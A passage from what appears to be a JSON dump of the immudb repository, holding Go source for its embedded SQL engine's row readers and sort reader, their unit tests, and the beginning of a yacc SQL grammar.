*store.KeyReaderSpec, err error) {\n\tprefix := MapKey(sqlPrefix, MappedPrefix, EncodeID(table.id), EncodeID(scanSpecs.Index.id))\n\n\tvar loKey []byte\n\tvar loKeyReady bool\n\n\tvar hiKey []byte\n\tvar hiKeyReady bool\n\n\tloKey = make([]byte, len(prefix))\n\tcopy(loKey, prefix)\n\n\thiKey = make([]byte, len(prefix))\n\tcopy(hiKey, prefix)\n\n\t// seekKey and endKey in the loop below are scan prefixes for beginning\n\t// and end of the index scanning range. On each index we try to make them more\n\t// concrete.\n\tfor _, col := range scanSpecs.Index.cols {\n\t\tcolRange, ok := scanSpecs.rangesByColID[col.id]\n\t\tif !ok {\n\t\t\tbreak\n\t\t}\n\n\t\tif !hiKeyReady {\n\t\t\tif colRange.hRange == nil {\n\t\t\t\thiKeyReady = true\n\t\t\t} else {\n\t\t\t\tencVal, _, err := EncodeValueAsKey(colRange.hRange.val, col.colType, col.MaxLen())\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\thiKey = append(hiKey, encVal...)\n\t\t\t}\n\t\t}\n\n\t\tif !loKeyReady {\n\t\t\tif colRange.lRange == nil {\n\t\t\t\tloKeyReady = true\n\t\t\t} else {\n\t\t\t\tencVal, _, err := EncodeValueAsKey(colRange.lRange.val, col.colType, col.MaxLen())\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\tloKey = append(loKey, encVal...)\n\t\t\t}\n\t\t}\n\t}\n\n\t// Ensure the hiKey is inclusive regarding all values with that prefix\n\thiKey = append(hiKey, KeyValPrefixUpperBound)\n\n\tseekKey := loKey\n\tendKey := hiKey\n\n\tif scanSpecs.DescOrder {\n\t\tseekKey, endKey = endKey, seekKey\n\t}\n\n\treturn &store.KeyReaderSpec{\n\t\tSeekKey:        seekKey,\n\t\tInclusiveSeek:  true,\n\t\tEndKey:         endKey,\n\t\tInclusiveEnd:   true,\n\t\tPrefix:         prefix,\n\t\tDescOrder:      scanSpecs.DescOrder,\n\t\tFilters:        []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted},\n\t\tIncludeHistory: scanSpecs.IncludeHistory,\n\t}, nil\n}\n\nfunc (r *rawRowReader) onClose(callback func()) {\n\tr.onCloseCallback = callback\n}\n\nfunc (r *rawRowReader) Tx() *SQLTx {\n\treturn r.tx\n}\n\nfunc (r *rawRowReader) TableAlias() string {\n\treturn r.tableAlias\n}\n\nfunc (r *rawRowReader) OrderBy() []ColDescriptor {\n\tcols := make([]ColDescriptor, len(r.scanSpecs.Index.cols))\n\n\tfor i, col := range r.scanSpecs.Index.cols {\n\t\tcols[i] = ColDescriptor{\n\t\t\tTable:  r.tableAlias,\n\t\t\tColumn: col.colName,\n\t\t\tType:   col.colType,\n\t\t}\n\t}\n\n\treturn cols\n}\n\nfunc (r *rawRowReader) ScanSpecs() *ScanSpecs {\n\treturn r.scanSpecs\n}\n\nfunc (r *rawRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) {\n\tret := make([]ColDescriptor, len(r.colsByPos))\n\tcopy(ret, r.colsByPos)\n\treturn ret, nil\n}\n\nfunc (r *rawRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) {\n\tret := make(map[string]ColDescriptor, len(r.colsBySel))\n\tfor sel := range r.colsBySel {\n\t\tret[sel] = r.colsBySel[sel]\n\t}\n\treturn ret, nil\n}\n\nfunc (r *rawRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error {\n\tcols, err := r.colsBySelector(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif r.period.start != nil {\n\t\t_, err = r.period.start.instant.exp.inferType(cols, params, r.TableAlias())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif r.period.end != nil {\n\t\t_, err = r.period.end.instant.exp.inferType(cols, params, r.TableAlias())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (r *rawRowReader) Parameters() map[string]interface{} {\n\treturn r.params\n}\n\nfunc (r *rawRowReader) reduceTxRange() (err error) {\n\tif r.txRange != nil || (r.period.start == nil && r.period.end == nil) {\n\t\treturn nil\n\t}\n\n\ttxRange := &txRange{\n\t\tinitialTxID: uint64(0),\n\t\tfinalTxID:   uint64(math.MaxUint64),\n\t}\n\n\tif r.period.start != nil {\n\t\ttxRange.initialTxID, err = r.period.start.instant.resolve(r.tx, r.params, true, r.period.start.inclusive)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif r.period.end != nil {\n\t\ttxRange.finalTxID, err = r.period.end.instant.resolve(r.tx, r.params, false, r.period.end.inclusive)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tr.txRange = txRange\n\n\treturn nil\n}\n\nfunc (r *rawRowReader) Read(ctx context.Context) (*Row, error) {\n\tif err := ctx.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\n\t//var mkey []byte\n\tvar vref store.ValueRef\n\n\t// evaluation of txRange is postponed to allow parameters to be provided after rowReader initialization\n\terr := r.reduceTxRange()\n\tif errors.Is(err, store.ErrTxNotFound) {\n\t\treturn nil, ErrNoMoreRows\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif r.txRange == nil {\n\t\t_, vref, err = r.reader.Read(ctx) //mkey\n\t} else {\n\t\t_, vref, err = r.reader.ReadBetween(ctx, r.txRange.initialTxID, r.txRange.finalTxID) //mkey\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tv, err := vref.Resolve()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvaluesByPosition := make([]TypedValue, len(r.colsByPos))\n\tvaluesBySelector := make(map[string]TypedValue, len(r.colsBySel))\n\n\tfor i, col := range r.colsByPos {\n\t\tvar val TypedValue\n\n\t\tswitch col.Column {\n\t\tcase revCol:\n\t\t\tval = &Integer{val: int64(vref.HC())}\n\t\tcase txMetadataCol:\n\t\t\tval, err = r.parseTxMetadata(vref.TxMetadata())\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\tdefault:\n\t\t\tval = &NullValue{t: col.Type}\n\t\t}\n\n\t\tvaluesByPosition[i] = val\n\t\tvaluesBySelector[col.Selector()] = val\n\t}\n\n\tif len(v) < EncLenLen {\n\t\treturn nil, ErrCorruptedData\n\t}\n\n\textraCols := r.scanSpecs.extraCols()\n\n\tvoff := 0\n\n\tcols := int(binary.BigEndian.Uint32(v[voff:]))\n\tvoff += EncLenLen\n\n\tfor i, pos := 0, 0; i < cols; i++ {\n\t\tif len(v) < EncIDLen {\n\t\t\treturn nil, ErrCorruptedData\n\t\t}\n\n\t\tcolID := binary.BigEndian.Uint32(v[voff:])\n\t\tvoff += EncIDLen\n\n\t\tcol, err := r.table.GetColumnByID(colID)\n\t\tif errors.Is(err, ErrColumnDoesNotExist) && colID <= r.table.maxColID {\n\t\t\t// Dropped column, skip it\n\t\t\tvlen, n, err := DecodeValueLength(v[voff:])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tvoff += n + vlen\n\n\t\t\tcontinue\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, ErrCorruptedData\n\t\t}\n\n\t\tval, n, err := DecodeValue(v[voff:], col.colType)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvoff += n\n\n\t\t// make sure value is inserted in the correct position\n\t\tfor pos < len(r.table.cols) && r.table.cols[pos].id < colID {\n\t\t\tpos++\n\t\t}\n\n\t\tif pos == len(r.table.cols) || r.table.cols[pos].id != colID {\n\t\t\treturn nil, ErrCorruptedData\n\t\t}\n\n\t\tvaluesByPosition[pos+extraCols] = val\n\n\t\tpos++\n\n\t\tvaluesBySelector[EncodeSelector(\"\", r.tableAlias, col.colName)] = val\n\t}\n\n\tif len(v)-voff > 0 {\n\t\treturn nil, ErrCorruptedData\n\t}\n\n\treturn &Row{ValuesByPosition: valuesByPosition, ValuesBySelector: valuesBySelector}, nil\n}\n\nfunc (r *rawRowReader) parseTxMetadata(txmd *store.TxMetadata) (TypedValue, error) {\n\tif txmd == nil {\n\t\treturn &NullValue{t: JSONType}, nil\n\t}\n\n\tif extra := txmd.Extra(); extra != nil {\n\t\tif r.tx.engine.parseTxMetadata == nil {\n\t\t\treturn nil, fmt.Errorf(\"unable to parse tx metadata\")\n\t\t}\n\n\t\tmd, err := r.tx.engine.parseTxMetadata(extra)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: %s\", ErrInvalidTxMetadata, err)\n\t\t}\n\t\treturn &JSON{val: md}, nil\n\t}\n\treturn &NullValue{t: JSONType}, nil\n}\n\nfunc (r *rawRowReader) Close() error {\n\tif r.onCloseCallback != nil {\n\t\tdefer r.onCloseCallback()\n\t}\n\n\treturn r.reader.Close()\n}\n\nfunc ReadAllRows(ctx context.Context, reader RowReader) ([]*Row, error) {\n\tvar rows []*Row\n\terr := ReadRowsBatch(ctx, reader, 100, func(rowBatch []*Row) error {\n\t\tif rows == nil {\n\t\t\trows = make([]*Row, 0, len(rowBatch))\n\t\t}\n\t\trows = append(rows, rowBatch...)\n\t\treturn nil\n\t})\n\treturn rows, err\n}\n\nfunc ReadRowsBatch(ctx context.Context, reader RowReader, batchSize int, onBatch func([]*Row) error) error {\n\trows := make([]*Row, batchSize)\n\n\thasMoreRows := true\n\tfor hasMoreRows {\n\t\tn, err := readNRows(ctx, reader, batchSize, rows)\n\n\t\tif n > 0 {\n\t\t\tif err := onBatch(rows[:n]); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\thasMoreRows = !errors.Is(err, ErrNoMoreRows)\n\t\tif err != nil && hasMoreRows {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc readNRows(ctx context.Context, reader RowReader, n int, outRows []*Row) (int, error) {\n\tfor i := 0; i < n; i++ {\n\t\tr, err := reader.Read(ctx)\n\t\tif err != nil {\n\t\t\treturn i, err\n\t\t}\n\t\toutRows[i] = r\n\t}\n\treturn n, nil\n}\n"
  },
  {
    "path": "embedded/sql/row_reader_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestKeyReaderSpecFromCornerCases(t *testing.T) {\n\tprefix := []byte(\"key.prefix.\")\n\ttable := &Table{\n\t\tid: 2,\n\t}\n\tindex := &Index{\n\t\ttable: table,\n\t\tid:    3,\n\t\tcols: []*Column{\n\t\t\t{\n\t\t\t\tid:     4,\n\t\t\t\tmaxLen: 0,\n\t\t\t},\n\t\t},\n\t}\n\n\tt.Run(\"fail on invalid hrange\", func(t *testing.T) {\n\t\tscanSpecs := &ScanSpecs{\n\t\t\tIndex: index,\n\t\t\trangesByColID: map[uint32]*typedValueRange{\n\t\t\t\t4: {\n\t\t\t\t\thRange: &typedValueSemiRange{\n\t\t\t\t\t\tval: &Varchar{val: \"test\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\t_, err := keyReaderSpecFrom(prefix, table, scanSpecs)\n\t\trequire.ErrorIs(t, err, ErrInvalidValue)\n\t})\n\n\tt.Run(\"fail on invalid lrange\", func(t *testing.T) {\n\t\tscanSpecs := &ScanSpecs{\n\t\t\tIndex: index,\n\t\t\trangesByColID: map[uint32]*typedValueRange{\n\t\t\t\t4: {\n\t\t\t\t\tlRange: &typedValueSemiRange{\n\t\t\t\t\t\tval: &Varchar{val: \"test\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\t_, err := keyReaderSpecFrom(prefix, table, scanSpecs)\n\t\trequire.ErrorIs(t, err, ErrInvalidValue)\n\t})\n}\n"
  },
  {
    "path": "embedded/sql/sort_reader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"fmt\"\n)\n\ntype sortDirection int8\n\nconst (\n\tsortDirectionDesc sortDirection = -1\n\tsortDirectionAsc  sortDirection = 1\n)\n\ntype sortRowReader struct {\n\trowReader          RowReader\n\tordExps            []*OrdExp\n\torderByDescriptors []ColDescriptor\n\tsorter             fileSorter\n\n\tresultReader resultReader\n}\n\nfunc newSortRowReader(rowReader RowReader, ordExps []*OrdExp) (*sortRowReader, error) {\n\tif rowReader == nil || len(ordExps) == 0 {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tdescriptors, err := rowReader.Columns(context.Background())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, col := range ordExps {\n\t\tcolPos, isColRef := col.exp.(*Integer)\n\t\tif isColRef && (colPos.val <= 0 || colPos.val > int64(len(descriptors))) {\n\t\t\treturn nil, fmt.Errorf(\"position %d is not in select list\", colPos.val)\n\t\t}\n\t}\n\n\tcolPosBySelector, err := getColPositionsBySelector(descriptors)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcolTypes, err := getColTypes(rowReader)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\torderByDescriptors, err := getOrderByDescriptors(ordExps, rowReader)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttx := rowReader.Tx()\n\tsr := &sortRowReader{\n\t\trowReader:          rowReader,\n\t\tordExps:            ordExps,\n\t\torderByDescriptors: orderByDescriptors,\n\t\tsorter: fileSorter{\n\t\t\tcolPosBySelector: colPosBySelector,\n\t\t\tcolTypes:         colTypes,\n\t\t\ttx:               tx,\n\t\t\tsortBufSize:      tx.engine.sortBufferSize,\n\t\t\tsortBuf:          make([]*Row, tx.engine.sortBufferSize),\n\t\t},\n\t}\n\n\tdirections := make([]sortDirection, len(ordExps))\n\tfor i, col := range ordExps {\n\t\tdirections[i] = sortDirectionAsc\n\t\tif col.descOrder {\n\t\t\tdirections[i] = sortDirectionDesc\n\t\t}\n\t}\n\n\tt1 := make(Tuple, len(ordExps))\n\tt2 := make(Tuple, len(ordExps))\n\n\tsr.sorter.cmp = func(r1, r2 *Row) (int, error) {\n\t\tif err := sr.evalSortExps(r1, t1); err != nil {\n\t\t\treturn 0, err\n\t\t}\n\n\t\tif err := sr.evalSortExps(r2, t2); err != nil {\n\t\t\treturn 0, err\n\t\t}\n\n\t\tres, idx, err := t1.Compare(t2)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\n\t\tif idx >= 0 {\n\t\t\treturn res * int(directions[idx]), nil\n\t\t}\n\t\treturn res, nil\n\t}\n\treturn sr, nil\n}\n\nfunc (s *sortRowReader) evalSortExps(inRow *Row, out Tuple) error {\n\tfor i, col := range s.ordExps {\n\t\tcolPos, isColRef := col.exp.(*Integer)\n\t\tif isColRef {\n\t\t\tif colPos.val < 1 || colPos.val > int64(len(inRow.ValuesByPosition)) {\n\t\t\t\treturn fmt.Errorf(\"position %d is not in select list\", colPos.val)\n\t\t\t}\n\t\t\tout[i] = inRow.ValuesByPosition[colPos.val-1]\n\t\t} else {\n\t\t\tval, err := col.exp.reduce(s.Tx(), inRow, s.TableAlias())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tout[i] = val\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc getOrderByDescriptors(ordExps []*OrdExp, rowReader RowReader) ([]ColDescriptor, error) {\n\tcolsBySel, err := rowReader.colsBySelector(context.Background())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tparams := make(map[string]string)\n\torderByDescriptors := make([]ColDescriptor, len(ordExps))\n\tfor i, col := range ordExps {\n\t\tsqlType, err := col.exp.inferType(colsBySel, params, rowReader.TableAlias())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif sel := col.AsSelector(); sel != nil {\n\t\t\taggFn, table, col := sel.resolve(rowReader.TableAlias())\n\t\t\torderByDescriptors[i] = ColDescriptor{\n\t\t\t\tAggFn:  aggFn,\n\t\t\t\tTable:  table,\n\t\t\t\tColumn: col,\n\t\t\t\tType:   sqlType,\n\t\t\t}\n\t\t} else {\n\t\t\torderByDescriptors[i] = ColDescriptor{\n\t\t\t\tColumn: col.exp.String(),\n\t\t\t\tType:   sqlType,\n\t\t\t}\n\t\t}\n\t}\n\treturn orderByDescriptors, nil\n}\n\nfunc getColTypes(r RowReader) ([]string, error) {\n\tdescriptors, err := r.Columns(context.Background())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcols := make([]string, len(descriptors))\n\tfor i, desc := range descriptors {\n\t\tcols[i] = desc.Type\n\t}\n\treturn cols, err\n}\n\nfunc getColPositionsBySelector(desc []ColDescriptor) (map[string]int, error) {\n\tcolPositionsBySelector := make(map[string]int)\n\tfor i, desc := range desc {\n\t\tcolPositionsBySelector[desc.Selector()] = i\n\t}\n\treturn colPositionsBySelector, nil\n}\n\nfunc (sr *sortRowReader) onClose(callback func()) {\n\tsr.rowReader.onClose(callback)\n}\n\nfunc (sr *sortRowReader) Tx() *SQLTx {\n\treturn sr.rowReader.Tx()\n}\n\nfunc (sr *sortRowReader) TableAlias() string {\n\treturn sr.rowReader.TableAlias()\n}\n\nfunc (sr *sortRowReader) Parameters() map[string]interface{} {\n\treturn sr.rowReader.Parameters()\n}\n\nfunc (sr *sortRowReader) OrderBy() []ColDescriptor {\n\treturn sr.orderByDescriptors\n}\n\nfunc (sr *sortRowReader) ScanSpecs() *ScanSpecs {\n\treturn sr.rowReader.ScanSpecs()\n}\n\nfunc (sr *sortRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) {\n\treturn sr.rowReader.Columns(ctx)\n}\n\nfunc (sr *sortRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) {\n\treturn sr.rowReader.colsBySelector(ctx)\n}\n\nfunc (sr *sortRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error {\n\treturn sr.rowReader.InferParameters(ctx, params)\n}\n\nfunc (sr *sortRowReader) Read(ctx context.Context) (*Row, error) {\n\tif sr.resultReader == nil {\n\t\treader, err := sr.readAndSort(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tsr.resultReader = reader\n\t}\n\treturn sr.resultReader.Read()\n}\n\nfunc (sr *sortRowReader) readAndSort(ctx context.Context) (resultReader, error) {\n\terr := sr.readAll(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn sr.sorter.finalize()\n}\n\nfunc (sr *sortRowReader) readAll(ctx context.Context) error {\n\tfor {\n\t\trow, err := sr.rowReader.Read(ctx)\n\t\tif err == ErrNoMoreRows {\n\t\t\treturn nil\n\t\t}\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\terr = sr.sorter.update(row)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n}\n\nfunc (sr *sortRowReader) Close() error {\n\treturn sr.rowReader.Close()\n}\n"
  },
  {
    "path": "embedded/sql/sort_reader_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n\thttps://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestSortRowReader(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\t_, err = newSortRowReader(nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\ttx, err := engine.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), tx, \"CREATE TABLE table1(id INTEGER, number INTEGER, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\ttx, err = engine.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\n\tdefer tx.Cancel()\n\n\ttable := tx.catalog.tables[0]\n\n\tr, err := newRawRowReader(tx, nil, table, period{}, \"\", &ScanSpecs{Index: table.primaryIndex})\n\trequire.NoError(t, err)\n\n\tsr, err := newSortRowReader(r, []*OrdExp{{exp: &ColSelector{col: \"number\"}}})\n\trequire.NoError(t, err)\n\n\torderBy := sr.OrderBy()\n\trequire.NotNil(t, orderBy)\n\trequire.Len(t, orderBy, 1)\n\trequire.Equal(t, \"number\", orderBy[0].Column)\n\trequire.Equal(t, \"table1\", orderBy[0].Table)\n\n\tcols, err := sr.Columns(context.Background())\n\trequire.NoError(t, err)\n\trequire.Len(t, cols, 2)\n\n\trequire.Empty(t, sr.Parameters())\n\n\tscanSpecs := sr.ScanSpecs()\n\trequire.NotNil(t, scanSpecs)\n\trequire.NotNil(t, scanSpecs.Index)\n\trequire.True(t, scanSpecs.Index.IsPrimary())\n}\n"
  },
  {
    "path": "embedded/sql/sql_grammar.y",
    "content": "/*\nCopyright 2022 Codenotary Inc. All rights reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\n// Unless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n%{\npackage sql\n\nimport \"fmt\"\n\nfunc setResult(l yyLexer, stmts []SQLStmt) {\n    l.(*lexer).result = stmts\n}\n%}\n\n%union{\n    stmts []SQLStmt\n    stmt SQLStmt\n    datasource DataSource\n    colSpec *ColSpec\n    cols []*ColSelector\n    rows []*RowSpec\n    row *RowSpec\n    values []ValueExp\n    value ValueExp\n    id string\n    integer uint64\n    float float64\n    str string\n    boolean bool\n    blob []byte\n    keyword string\n    sqlType SQLValueType\n    aggFn AggregateFn\n    colNames []string\n    col *ColSelector\n    sel Selector\n    targets []TargetEntry\n    jsonFields []string\n    distinct bool\n    ds DataSource\n    tableRef *tableRef\n    period period\n    openPeriod *openPeriod\n    periodInstant periodInstant\n    joins []*JoinSpec\n    join *JoinSpec\n    joinType JoinType\n    check CheckConstraint\n    exp ValueExp\n    binExp ValueExp\n    err error\n    ordexps []*OrdExp\n    opt_ord bool\n    logicOp LogicOperator\n    cmpOp CmpOperator\n    pparam int\n    update *colUpdate\n    updates []*colUpdate\n    onConflict *OnConflictDo\n    permission Permission\n    sqlPrivilege SQLPrivilege\n    sqlPrivileges []SQLPrivilege\n    whenThenClauses []whenThenClause\n    tableElem TableElem\n    tableElems []TableElem\n    timestampField TimestampFieldType\n}\n\n%token <keyword> CREATE DROP USE DATABASE USER WITH PASSWORD READ READWRITE ADMIN SNAPSHOT HISTORY SINCE AFTER BEFORE UNTIL TX OF\n%token <keyword> INTEGER_TYPE BOOLEAN_TYPE VARCHAR_TYPE UUID_TYPE BLOB_TYPE TIMESTAMP_TYPE FLOAT_TYPE JSON_TYPE\n%token <keyword> TABLE UNIQUE INDEX ON ALTER ADD RENAME TO COLUMN CONSTRAINT PRIMARY KEY CHECK GRANT REVOKE GRANTS FOR PRIVILEGES\n%token <keyword> BEGIN TRANSACTION COMMIT ROLLBACK\n%token <keyword> INSERT UPSERT INTO VALUES DELETE UPDATE SET CONFLICT DO NOTHING RETURNING\n%token <keyword> SELECT DISTINCT FROM JOIN HAVING WHERE GROUP BY LIMIT OFFSET ORDER ASC DESC AS UNION ALL CASE WHEN THEN ELSE END\n%token <keyword> NOT LIKE IF EXISTS IN IS\n%token <keyword> AUTO_INCREMENT NULL CAST SCAST\n%token <keyword> SHOW DATABASES TABLES USERS\n%token <keyword> BETWEEN\n%token <keyword> EXTRACT YEAR MONTH DAY HOUR MINUTE SECOND\n\n%token <id> NPARAM\n%token <pparam> PPARAM\n%token <joinType> JOINTYPE\n%token <logicOp> AND OR\n%token <cmpOp> CMPOP\n%token NOT_MATCHES_OP\n%token <id> IDENTIFIER\n%token <integer> INTEGER_LIT\n%token <float> FLOAT_LIT\n%token <str> VARCHAR_LIT\n%token <boolean> BOOLEAN_LIT\n%token <blob> BLOB_LIT\n%token <aggFn> AGGREGATE_FUNC\n%token <err> ERROR\n%token <dot> DOT\n%token <arrow> ARROW\n\n%left  ','\n%right AS\n\n%nonassoc BETWEEN\n\n%left OR\n%left AND\n\n%right NOT\n\n%nonassoc CMPOP LIKE NOT_MATCHES_OP IS\n\n%left '+' '-'\n%left '*' '/' '%'\n%left '.'\n\n%right STMT_SEPARATOR\n\n%type <stmts> sql sqlstmts\n%type <stmt> sqlstmt ddlstmt dmlstmt dqlstmt select_stmt\n%type <colSpec> colSpec\n%type <colNames> col_names insert_cols one_or_more_col_names\n%type <cols> cols\n%type <rows> rows\n%type <row> row\n%type <values> values opt_values\n%type <value> val fnCall\n%type <sel> selector\n%type <jsonFields> jsonFields\n%type <col> col\n%type <distinct> opt_distinct opt_all\n%type <ds> ds values_or_query\n%type <tableRef> tableRef\n%type <period> opt_period\n%type <openPeriod> opt_period_start\n%type <openPeriod> opt_period_end\n%type <periodInstant> period_instant\n%type <joins> opt_joins joins\n%type <join> join\n%type <joinType> opt_join_type\n%type <check> check\n%type <tableElem> tableElem\n%type <tableElems> tableElems\n%type <exp> exp opt_exp opt_where opt_having boundexp opt_else orExp andExp cmpExp primaryBool addExp notExp\nmulExp unaryExp primary\n%type <cols> opt_groupby\n%type <exp> opt_limit opt_offset case_when_exp\n%type <targets> opt_targets targets\n%type <integer> opt_max_len\n%type <id> opt_as\n%type <ordexps> ordexps opt_orderby\n%type <opt_ord> opt_ord\n%type <colNames> opt_indexon\n%type <boolean> opt_if_not_exists opt_auto_increment opt_not_null opt_not opt_primary_key\n%type <update> update\n%type <updates> updates\n%type <onConflict> opt_on_conflict\n%type <permission> permission\n%type <sqlPrivilege> sqlPrivilege\n%type <sqlPrivileges> sqlPrivileges\n%type <whenThenClauses> when_then_clauses\n%type <timestampField> timestamp_field\n%type <sqlType> sql_type\n%type <keyword> unreserved_keyword colNameKeyword\n%type <str> qualifiedName tableName col_name\n\n%start sql\n\n%%\n\nsql: sqlstmts\n    {\n        $$ = $1\n        setResult(yylex, $1)\n    }\n\nsqlstmts:\n    sqlstmt opt_separator\n    {\n        $$ = []SQLStmt{$1}\n    }\n|\n    sqlstmt STMT_SEPARATOR sqlstmts\n    {\n        $$ = append([]SQLStmt{$1}, $3...)\n    }\n\nopt_separator: {} | STMT_SEPARATOR\n\nsqlstmt: ddlstmt | dmlstmt | dqlstmt\n\nddlstmt:\n    BEGIN TRANSACTION\n    {\n        $$ = &BeginTransactionStmt{}\n    }\n|\n    BEGIN\n    {\n        $$ = &BeginTransactionStmt{}\n    }\n|\n    COMMIT\n    {\n        $$ = &CommitStmt{}\n    }\n|\n    ROLLBACK\n    {\n        $$ = &RollbackStmt{}\n    }\n|\n    CREATE DATABASE IF NOT EXISTS IDENTIFIER\n    {\n        $$ = &CreateDatabaseStmt{ifNotExists: true, DB: $6}\n    }\n|\n    CREATE DATABASE IDENTIFIER\n    {\n        $$ = &CreateDatabaseStmt{ifNotExists: false, DB: $3}\n    }\n|\n    USE IDENTIFIER\n    {\n        $$ = &UseDatabaseStmt{DB: $2}\n    }\n|\n    USE DATABASE IDENTIFIER\n    {\n        $$ = &UseDatabaseStmt{DB: $3}\n    }\n|\n    USE SNAPSHOT opt_period\n    {\n        $$ = &UseSnapshotStmt{period: $3}\n    }\n|\n    CREATE TABLE IF NOT EXISTS tableName '(' tableElems ')'\n    {\n        $$ = newCreateTableStmt($6, $8, true)\n    }\n|\n    CREATE TABLE tableName '(' tableElems ')'\n    {\n       $$ = newCreateTableStmt($3, $5, false)\n    }\n|\n    DROP TABLE qualifiedName\n    {\n        $$ = &DropTableStmt{table: $3}\n    }\n|\n    CREATE INDEX opt_if_not_exists ON tableName '(' col_names ')'\n    {\n        $$ = &CreateIndexStmt{ifNotExists: $3, table: $5, cols: $7}\n    }\n|\n    CREATE UNIQUE INDEX opt_if_not_exists ON tableName '(' col_names ')'\n    {\n        $$ = &CreateIndexStmt{unique: true, ifNotExists: $4, table: $6, cols: $8}\n    }\n|\n    DROP INDEX ON tableName '(' col_names ')'\n    {\n        $$ = &DropIndexStmt{table: $4, cols: $6}\n    }\n|\n    DROP INDEX tableName DOT col_name\n    {\n        $$ = &DropIndexStmt{table: $3, 